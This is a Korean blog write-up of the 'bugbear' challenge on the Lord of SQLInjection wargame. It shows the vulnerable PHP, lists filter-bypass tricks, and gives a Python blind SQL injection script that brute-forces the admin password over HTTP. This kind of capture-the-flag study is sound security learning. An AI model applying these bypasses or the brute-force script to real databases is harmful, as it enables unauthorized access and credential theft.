[LORD OF SQLINJECTION] Bugbear Write-Up

· omacs's blog


Contents #

  1. Problem Description and Analysis
  2. Exploit
  3. References

Problem Description and Analysis #

본 문제는 다음과 같이 제시된다[1]:

 1<?php 
 2  include "./config.php"; 
 3  login_chk(); 
 4  $db = dbconnect(); 
 5  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
 6  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
 7  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
 8  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
 9  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
10  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
11  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
12
13  $_GET[pw] = addslashes($_GET[pw]); 
14  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
15  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
16  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
17  highlight_file(__FILE__); 
18?>

제시된 문제를 살펴보면 ', substr, ascii, =, or, and, 공백, like, 0x를 필터링하고 있음을 알 수 있다. 그리고 이를 우회하는 방법은 다음과 같다:

@ ' => "
@ substr => mid
@ ascii, 0x => hex
@ =, like => <, <>
@ 공백 => %09 (tab)

Exploit #

Blind SQLi 절차는 pw field의 길이를 알아내고 bruteforce하는 것이다. 이를 코드로 구현하면 다음과 같다:

 1import requests
 2
 3def get_request_response(arg_url, arg_header):
 4    response = requests.get(arg_url, headers=arg_header)
 5    return response.text
 6
 7def build_query_pwlen(arg_url, arg_pwlen):
 8    query = f'{arg_url}%09||%09lower(id)<"admio"%09%26%26%09length(pw)<>{arg_pwlen}'
 9    return query
10
11def get_pwlen(arg_url, arg_header):
12    password_length = 0
13    while True:
14	query_url = build_query_pwlen(arg_url, password_length)
15	query_result = get_request_response(query_url, arg_header)
16	print(query_url)
17	if "<h2>" not in query_result:
18	    break
19	password_length += 1
20    return password_length
21
22def build_query_pwchar(arg_url, arg_loc, arg_pwchar):
23    query = f'{arg_url}%09||%09lower(id)<"admio"%09%26%26%09hex(mid(pw,{arg_loc},1))<>hex({arg_pwchar})'
24    return query
25
26def get_pw(arg_url, arg_header, arg_pwlen):
27    password_lst = []
28    for i in range(1, arg_pwlen + 1):
29	for j in range(0, 1 << 7):
30	    query_url = build_query_pwchar(arg_url, i, j)
31	    query_result = get_request_response(query_url, arg_header)
32	    print(f"query url: {query_url}")
33	    # if "<h2>" not in query_result:
34	    #     print(j, query_result)
35	    #     password_lst.append(j)
36	    #     break
37	    if "Hello admin" not in query_result:
38		print(j)
39		password_lst.append(j)
40		break
41	if j == 1 << 7:
42	    print('Not found')
43	    break
44    return password_lst
45
46if __name__ == "__main__":
47    url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=haha&no=-1'
48    header = { 'cookie': 'PHPSESSID=MydeAdBEeF' }
49
50    print('---[ Stage 1: Get password length')
51    password_length = get_pwlen(url, header)
52    print(f"Password length: {password_length}\n")
53
54    print('---[ Stage 2: Bruteforce password')
55    password_lst = get_pw(url, header, password_length)
56    password_string = [chr(x) for x in password_lst]
57    print(f"Password: {password_string}")

References #

  1. "bugbear," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 14, 2024].